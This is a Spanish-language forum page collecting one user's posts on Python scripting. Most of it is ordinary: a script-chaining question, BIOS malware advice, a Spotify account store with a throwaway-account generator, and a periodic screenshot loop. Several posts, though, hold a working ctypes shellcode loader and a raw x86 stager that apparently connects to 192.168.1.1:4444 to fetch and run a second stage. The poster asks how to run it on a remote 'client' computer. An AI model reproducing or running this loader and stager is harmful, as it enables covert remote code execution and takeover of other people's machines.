Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Sentex

#21
Script1 --> Ejecuta script 2 en segundo plano
Script1 --> Se cierra
Script2 --> En ejecución
#22
Si es un portatil lo tienes crudo porque es posible que el malware se haya instalado en la bios, si es un ordenador de sobremesa resetea la bios y limpia el disco duro.
#23
Yo he probado con un decimal y me ha funcionado.

13.421 = 0b1101
#24
Scripting / Re: Script
31 Marzo 2018, 12:55 PM
Hola!. Aqui tienes un ejemplo de manejo de base de datos con python. La base de datos es personalizada osea no es sqlite ni nada de eso. Necesitaras crear un fichero en la misma carpeta del script que se llame spotify.db y ya funcionaria el script. Claro este script sirve para lo que sirve que es para almacenar cuentas de spotify y tal.

Script
Código (python) [Seleccionar]

# -*- coding: utf-8 -*-

import sys, os
from tabulate import tabulate
from random import SystemRandom
from base64 import b64encode as encode
from base64 import b64decode as decode

def deca():

    global fathers
    global pfathers
    global user
    global passwd
    global name

    fathers = []
    pfathers = []
    user = []
    passwd = []
    name = []

def clearf():
    for father in fathers:
        fathers.remove(father)
    for pfather in pfathers:
        pfathers.remove(pfather)
    for usr in user:
        user.remove(usr)
    for passw in passwd:
        passwd.remove(passw)
    for na in name:
        name.remove(na)


class more:
    INFO = "[#] "
    CORRECT = "[*] "
    ERROR = "[!ERROR] "

SPOTIFY = ('''
   _____             __  _ ____     
  / ___/____  ____  / /_(_) __/_  __
  \__ \/ __ \/ __ \/ __/ / /_/ / / /
___/ / /_/ / /_/ / /_/ / __/ /_/ /
/____/ .___/\____/\__/_/_/  \__, / 
    /_/                    /____/   
''')

def clear():
    syst = sys.platform
    if str(syst) == 'win32':
        os.system('cls')
    else:
        os.system('clear')

def deconfuse(data):
    data = str(data).replace('β', '=').replace('≡', '?').replace('∑', "W").replace("∂", "c").replace("◊", "H").replace("€", "T").replace("•", "5")
    return data

def confuse(data):
    data = str(data).replace('=', 'β').replace('?', '≡').replace('W', "∑").replace("c", "∂").replace("H", "◊").replace("T", "€").replace("5", "•")
    return data

def decryptdb(db):
    reader = open(db, "r")
    data = reader.read()
    if str(data).find("DaRpa") == -1:
        print more.ERROR + "The db is not encrypted"
        main()
    data = str(data).replace("DaRpa", "").rstrip(" ")
    data = deconfuse(data)
    data = decode(data)
    reader.close()
    writer = open(db, "w")
    writer.write(data)
    writer.close()

def encryptdb(db):
    reader = open(db, "r")
    data = encode(reader.read())
    data = "DaRpa" + confuse(data)
    reader.close()
    writer = open(db, "w")
    writer.write(data)
    writer.close()

def edit_account(db, email, password, nombre, nemail, npassword, nnombre, father, pfather, nfather, npfather):
    reader = open(db, "r")
    data = reader.read()
    data = str(data).replace(email+":"+password+":"+nombre+":"+father+":"+pfather, nemail+":"+npassword+":"+nnombre+":"+nfather+":"+npfather)
    reader.close()
    writer = open(db, "w")
    writer.write(data)
    writer.close()

def delete_account(db, email, password, nombre, father, pfather):
    reader = open(db, "r")
    data = reader.read()
    data = str(data).replace("{0}:{1}:{2}:{3}:{4}", "").rstrip("\n").format(email,password, nombre, father, pfather)
    reader.close()
    writer = open(db, "w")
    writer.write(data)
    writer.close()

def add_account(db, email, password, nombre, father, pfather):
    reader = open(db, "r")
    data = reader.read()
    data = str(data)+"\n{0}:{1}:{2}:{3}:{4}\n".rstrip("\n").format(email, password, nombre, father, pfather)
    reader.close()
    writer = open(db, "w")
    writer.write(data)
    writer.close()

def random(long, opt):
    if opt == "Mm1":
        abc = "a0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    elif opt == "Mm":
        abc = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    elif opt == "m":
        abc = "abcdefghijklmnopqrstuvwxyz"

    gen = SystemRandom()
    rand = ""
    while long > 0:
        rand = rand + gen.choice(abc)
        long -= 1
    return rand

def generate():
    print more.INFO + "Generating an account..."
    mail = random(7, "m")
    password = random(5, "Mm1")
    print "YopMail: "+mail+"@yopmail.com"
    print "PassWord: "+password
    print "Name: Not Set"
    print "Father: Not Set"
    print "PassWord: Not Set"
    print ""
    raw_input("Press enter to continue")
    add_account("spotify.db", mail+"@yopmail.com", password, "unset", "unset", "unset")
    print more.CORRECT + "Account Created"
    main()

def opendb(db):
    clearf()
    file = open(db, "r")
    data = file.readlines()
    for lines in data:
        if not lines == "":
            info = str(lines).split(":")
            user.append(info[0])
            passwd.append(info[1])
            name.append(info[2])
            fathers.append(info[3])
            pfathers.append(info[4])
    file.close()

def statusdb(db):
    file = open(db, "r")
    data = file.read()
    if not str(data).find("DaRpa") == -1:
        print "DB Status: Encrypted!"
    else:
        print "DB Status: Decrypted!"

def make_table():
    if len(user) > 1:

        datau = ""
        datap = ""
        datae = ""
        dataf = ""
        datapf = ""

        for usr in user:
            datau += "\n" + usr + "\n".rstrip("\n")
        for passw in passwd:
            datap += "\n" + passw + "\n".rstrip("\n")
        for na in name:
            datae += "\n" + na + "\n".rstrip("\n")
        for father in fathers:
            dataf += "\n" + father + "\n".rstrip("\n")
        for passw in pfathers:
            datapf += passw + "\n".rstrip("\n")

        table = [['Email', 'Password', 'Father', 'Password', 'Name'],
                  [datau, datap, dataf, datapf, datae]]
        print(tabulate(table, headers='firstrow'))
        print ""
        raw_input("Press enter to continue")
        clearf()
        del datau
        del datap
        del datae
        del dataf
        del datapf
        main()
    else:
        main()

def main():
    print ""
    statusdb("spotify.db")
    print "Spotify Manager By Sentex"
    print "--Select Option--------------------"
    print " 1._ Open DB"
    print " 2._ Delete account"
    print " 3._ Add account"
    print " 4._ Edit account"
    print " 5._ Encrypt DB"
    print " 6._ Decrypt DB"
    print " 7._ Show DB"
    print " 8._ Generate"
    print " 9._ Exit"
    opt = raw_input(">")
    if opt == "":
        print more.ERROR + "Wrong command"
        main()
    if int(opt) == 1:
        print more.INFO + "Loading DB..."
        opendb("spotify.db")
        print more.CORRECT + "DB Loaded!"
        main()
    elif int(opt) == 2:
        print "Email"
        email = raw_input(">")
        print "Password"
        password = raw_input(">")
        print "Name"
        nombre = raw_input(">")
        print "Father"
        father = raw_input(">")
        print "Password"
        pfather = raw_input(">")
        print more.INFO + "Removing Account..."
        delete_account("spotify.db", email,password, nombre, father, pfather)
        print more.CORRECT + "Account Deleted!"
        main()
    elif int(opt) == 3:
        print "Email"
        email = raw_input(">")
        print "Password"
        password = raw_input(">")
        print "Name"
        nombre = raw_input(">")
        print "Father"
        father = raw_input(">")
        print "Password"
        pfather = raw_input(">")
        print more.INFO + "Creating new account..."
        add_account("spotify.db", email, password, nombre, father, pfather)
        print more.CORRECT + "Account Created!"
        main()
    elif int(opt) == 4:
        print "Email"
        email = raw_input(">")
        print "Password"
        password = raw_input(">")
        print "Name"
        nombre = raw_input(">")
        print "Father"
        father = raw_input(">")
        print "Password"
        pfather = raw_input(">")
        print "New Email"
        nemail = raw_input(">")
        print "New Password"
        npassword = raw_input(">")
        print "New Name"
        nnombre = raw_input(">")
        print "New Father"
        nfather = raw_input(">")
        print "New Password"
        npfather = raw_input(">")
        print more.INFO + "Editing Account"
        if nemail == "":
            nemail = str(email)
        elif npassword == "":
            npassword = str(password)
        elif nnombre == "":
            nnombre = str(nombre)
        if nfather == "":
            nfather = str(father)
        if npfather == "":
            npfather = str(pfather)
        edit_account("spotify.db", email, password, nombre, nemail, npassword, nnombre, father, pfather, nfather, npfather)
        print more.CORRECT + "Account Edited"
        main()
    elif int(opt) == 5:
        print more.INFO + "Encrypting DB..."
        encryptdb("spotify.db")
        print more.CORRECT + "DB Encrypted!"
        main()
    elif int(opt) == 6:
        print more.INFO + "Decrypting DB..."
        decryptdb("spotify.db")
        print more.CORRECT + "DB Decrypted!"
        main()
    elif int(opt) == 7:
        make_table()
    elif int(opt) == 8:
        generate()
    elif int(opt) == 9:
        print more.INFO + "Encrypting the db"
        f = open("spotify.db", "r")
        data = f.read()
        if str(data).find("DaRpa") == -1:
            encryptdb("spotify.db")
        print more.CORRECT + "Encrypted!"
        print "Bye!"
        sys.exit()
    else:
        print more.ERROR + "Wrong command"
        main()

deca()
clear()
print SPOTIFY
main()


Si sacas fragmentos del código te puede ayudar.
#25
Buenas, me gustaría ejecutar otro script diferente al original y luego poder cerrar el script original y dejando en segundo plano el script diferente.

Gracias!

PD: Es en linux
#26
Cual codigo podría funcionar ahora?
#27
No es un error de permisos, ya lo solucione pero sigue sin funcionar  >:( .

Source Code:
Código (python) [Seleccionar]

from ctypes import *

shellcode = ""

with open("shellcode.txt", "r") as sc:
    shellcode1 = sc.readlines()
    for x in shellcode1:
        shellcode += x.encode()



shellcode = (shellcode.encode())   

memory_ref = create_string_buffer(shellcode, len(shellcode))
shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
shellcode()


Shellcode.txt:
Código (dos) [Seleccionar]

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30
\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52
\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1
\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b
\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03
\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b
\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24
\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb
\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c
\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68
\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02
\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea
\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61
\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00
\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83
\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a
\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57
\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00
\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68
\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff
\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00
\x53\xff\xd5


La shellcode no se ejecuta y no suelta ningún error.
#28
Me sale el siguiente error: WindowsError: exception: access violation writing 0x00000000
#29
Hola buenas.

Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente:

Código (python) [Seleccionar]

from ctypes import *

shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5") 

memory_ref = create_string_buffer(shellcode, len(shellcode))
shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
shellcode()


Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!
#30
Código (python) [Seleccionar]

import pyautogui
import time
#Screenshot using pyautogui
def screenshot(numero):
    screenshot = pyautogui.screenshot()
    nombre="screenshot-{}.png".format(numero)
    screenshot.save(nombre)
#End of function screenshot
activity = 1
numero=1
while activity == 1:
    time.sleep(10)
    screenshot(numero)
    time.sleep(10)
    numero+=1
#End of screenshot.py


La linea 6 cambia el nombre de la screenshot añadiendo el numero por el que el que esta definido. Yo te recomendaria usar otro modulo que es el que usa pyautogui que es PIL o Pillow para instalarlo con pip